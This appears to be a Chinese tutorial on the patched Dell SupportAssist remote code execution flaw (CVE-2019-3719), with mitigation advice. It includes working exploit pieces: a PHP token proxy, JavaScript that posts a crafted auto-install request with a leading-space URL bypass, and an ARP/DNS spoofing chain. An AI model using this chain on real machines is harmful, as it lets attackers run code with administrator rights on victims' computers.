戴尔电脑自带系统软件SupportAssist存在RCE漏洞
字数 1970 2025-08-18 11:38:37

Dell SupportAssist RCE漏洞分析与利用教学文档

漏洞概述

漏洞名称: Dell SupportAssist 远程代码执行漏洞 (RCE)
CVE编号: CVE-2019-3719
影响范围: 预装Dell SupportAssist的戴尔电脑系统
漏洞类型: 远程代码执行
风险等级: 高危
发现者: 纽约17岁安全研究者
发现时间: 2018年11月
修复状态: 戴尔已于2019年初发布补丁

漏洞背景

Dell SupportAssist是戴尔电脑预装的系统工具,用于"主动检查系统硬件和软件运行状况",预装在大多数全新的戴尔电脑系统中。该软件存在设计缺陷,允许攻击者在同一网络环境中对目标系统实施远程代码执行攻击。

漏洞分析

1. 漏洞发现过程

研究人员在新购买的Dell G3 15电脑上发现:

  1. 访问戴尔技术支持网站时出现"Detect PC"功能
  2. 安装SupportAssist后,系统会创建SupportAssistAgent和Dell Hardware Support服务
  3. 服务监听8884端口(也可能是8883、8885或8886)
  4. 本地Web服务与戴尔网站通过REST API通信

2. 关键请求分析

戴尔网站通过以下请求与本机SupportAssistAgent服务交互:

POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature

请求体包含JSON格式的下载信息,包括文件URL、名称等。

3. 完整性检查机制

SupportAssist实施了以下安全检查:

  1. 验证Referer/Origin是否为戴尔所属域名(.dell.com等)
  2. 验证请求是否来自localhost或127.0.0.1
  3. 验证下载文件的URL是否在白名单内

4. 绕过方法

攻击者可利用以下方式绕过检查:

  1. 从戴尔网站发现XSS漏洞
  2. 发现子域名劫持漏洞
  3. 构造本机恶意请求
  4. 生成随机子域名[random].dell.com并实施DNS劫持

5. 关键API方法

SupportAssist暴露了多个危险API方法,包括:

  • clientservice_getdevicedrivers - 获取可用更新
  • downloadservice_downloadfiles - 下载文件
  • downloadservice_downloadandautoinstall - 下载并自动执行文件
  • diagnosticsservice_rebootsystem - 重启系统
  • diagnosticsservice_launchtool - 启动诊断工具

6. 漏洞利用点

downloadservice_downloadandautoinstall方法存在严重问题:

  1. 接收JSON格式的下载请求
  2. 会执行下载的文件
  3. URL白名单检查可被绕过

漏洞利用详解

1. 利用条件

  • 目标系统安装并运行SupportAssist
  • 攻击者与目标在同一网络环境
  • 能够实施ARP/DNS欺骗

2. 利用步骤

步骤1:获取服务签名

<?php 
header('Access-Control-Allow-Origin: *'); 
echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken'); 
?>

步骤2:发现服务端口

通过轮询8883-8886端口,检查/clientservice/isalive响应

步骤3:构造恶意请求

function SendRCEPayload() {
  var auto_install_url = "http://127.0.0.1:" + server_port + 
    "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + 
    "&signature=" + signatures.DownloadAndAutoInstallToken;
  
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open("POST", auto_install_url, true);
  
  var files = [];
  files.push({
    "title": "SupportAssist RCE",
    "category": "Serial ATA",
    "name": "calc.EXE",
    "location": " http://downloads.dell.com/calc.EXE", // 注意开头的空格
    "isSecure": false,
    "fileUniqueId": guid(),
    "run": true,
    "installOrder": 2,
    "restricted": false,
    "fileStatus": -99,
    "driverId": "FXGNY",
    "dupInstallReturnCode": 0,
    "cssClass": "inactive-step",
    "isReboot": false,
    "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
    "
$$
hashKey": "object:210"
  });
  
  xmlhttp.send(JSON.stringify(files));
}

关键技巧:在URL前添加空格绕过https替换:

"location": " http://downloads.dell.com/calc.EXE"
// 空格使Replace("http://", "https://")失效

步骤4:实施中间人攻击

  1. 获取目标IP地址
  2. 搭建恶意Web服务器:
    • 检查Host头是否为downloads.dell.com
    • 是则返回恶意可执行文件
    • 否则返回恶意JS脚本
  3. 执行ARP欺骗
  4. 实施DNS欺骗

3. 完整攻击链

  1. 诱使受害者访问恶意子域名(如dellrce.dell.com)
  2. 返回恶意JS脚本
  3. 脚本发现SupportAssist服务端口
  4. 获取有效签名
  5. 发送精心构造的RCE Payload
  6. 通过ARP/DNS欺骗使目标从攻击者服务器下载恶意文件
  7. SupportAssist以管理员权限执行该文件

防御措施

1. 临时缓解方案

  • 禁用或卸载SupportAssist
  • 限制本地网络访问

2. 长期解决方案

  • 安装戴尔发布的最新补丁
  • 更新SupportAssist到最新版本

3. 通用安全建议

  • 定期审查系统预装软件
  • 限制不必要的本地服务
  • 实施网络分段
  • 监控异常网络活动

参考资源

  1. 漏洞PoC代码: https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC
  2. 戴尔安全公告: 参考戴尔官方安全公告

总结

Dell SupportAssist RCE漏洞(CVE-2019-3719)是一个典型的企业预装软件安全问题,展示了:

  1. 本地服务暴露网络接口的风险
  2. 不完善的输入验证后果
  3. 供应链安全的重要性
  4. 中间人攻击的实际威胁

该案例强调了企业环境中终端安全管理和软件供应链安全的重要性,也展示了现代攻击技术如何组合利用多个弱点实现入侵。

Dell SupportAssist RCE漏洞分析与利用教学文档 漏洞概述 漏洞名称 : Dell SupportAssist 远程代码执行漏洞 (RCE) CVE编号 : CVE-2019-3719 影响范围 : 预装Dell SupportAssist的戴尔电脑系统 漏洞类型 : 远程代码执行 风险等级 : 高危 发现者 : 纽约17岁安全研究者 发现时间 : 2018年11月 修复状态 : 戴尔已于2019年初发布补丁 漏洞背景 Dell SupportAssist是戴尔电脑预装的系统工具,用于"主动检查系统硬件和软件运行状况",预装在大多数全新的戴尔电脑系统中。该软件存在设计缺陷,允许攻击者在同一网络环境中对目标系统实施远程代码执行攻击。 漏洞分析 1. 漏洞发现过程 研究人员在新购买的Dell G3 15电脑上发现: 访问戴尔技术支持网站时出现"Detect PC"功能 安装SupportAssist后,系统会创建SupportAssistAgent和Dell Hardware Support服务 服务监听8884端口(也可能是8883、8885或8886) 本地Web服务与戴尔网站通过REST API通信 2. 关键请求分析 戴尔网站通过以下请求与本机SupportAssistAgent服务交互: 请求体包含JSON格式的下载信息,包括文件URL、名称等。 3. 完整性检查机制 SupportAssist实施了以下安全检查: 验证Referer/Origin是否为戴尔所属域名(.dell.com等) 验证请求是否来自localhost或127.0.0.1 验证下载文件的URL是否在白名单内 4. 绕过方法 攻击者可利用以下方式绕过检查: 从戴尔网站发现XSS漏洞 发现子域名劫持漏洞 构造本机恶意请求 生成随机子域名[ random ].dell.com并实施DNS劫持 5. 关键API方法 SupportAssist暴露了多个危险API方法,包括: clientservice_getdevicedrivers - 获取可用更新 downloadservice_downloadfiles - 下载文件 downloadservice_downloadandautoinstall - 下载并自动执行文件 diagnosticsservice_rebootsystem - 重启系统 diagnosticsservice_launchtool - 启动诊断工具 6. 漏洞利用点 downloadservice_downloadandautoinstall 方法存在严重问题: 接收JSON格式的下载请求 会执行下载的文件 URL白名单检查可被绕过 漏洞利用详解 1. 利用条件 目标系统安装并运行SupportAssist 攻击者与目标在同一网络环境 能够实施ARP/DNS欺骗 2. 利用步骤 步骤1:获取服务签名 步骤2:发现服务端口 通过轮询8883-8886端口,检查 /clientservice/isalive 响应 步骤3:构造恶意请求 关键技巧 :在URL前添加空格绕过https替换: 步骤4:实施中间人攻击 获取目标IP地址 搭建恶意Web服务器: 检查Host头是否为downloads.dell.com 是则返回恶意可执行文件 否则返回恶意JS脚本 执行ARP欺骗 实施DNS欺骗 3. 完整攻击链 诱使受害者访问恶意子域名(如dellrce.dell.com) 返回恶意JS脚本 脚本发现SupportAssist服务端口 获取有效签名 发送精心构造的RCE Payload 通过ARP/DNS欺骗使目标从攻击者服务器下载恶意文件 SupportAssist以管理员权限执行该文件 防御措施 1. 临时缓解方案 禁用或卸载SupportAssist 限制本地网络访问 2. 长期解决方案 安装戴尔发布的最新补丁 更新SupportAssist到最新版本 3. 通用安全建议 定期审查系统预装软件 限制不必要的本地服务 实施网络分段 监控异常网络活动 参考资源 漏洞PoC代码: https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC 戴尔安全公告: 参考戴尔官方安全公告 总结 Dell SupportAssist RCE漏洞(CVE-2019-3719)是一个典型的企业预装软件安全问题,展示了: 本地服务暴露网络接口的风险 不完善的输入验证后果 供应链安全的重要性 中间人攻击的实际威胁 该案例强调了企业环境中终端安全管理和软件供应链安全的重要性,也展示了现代攻击技术如何组合利用多个弱点实现入侵。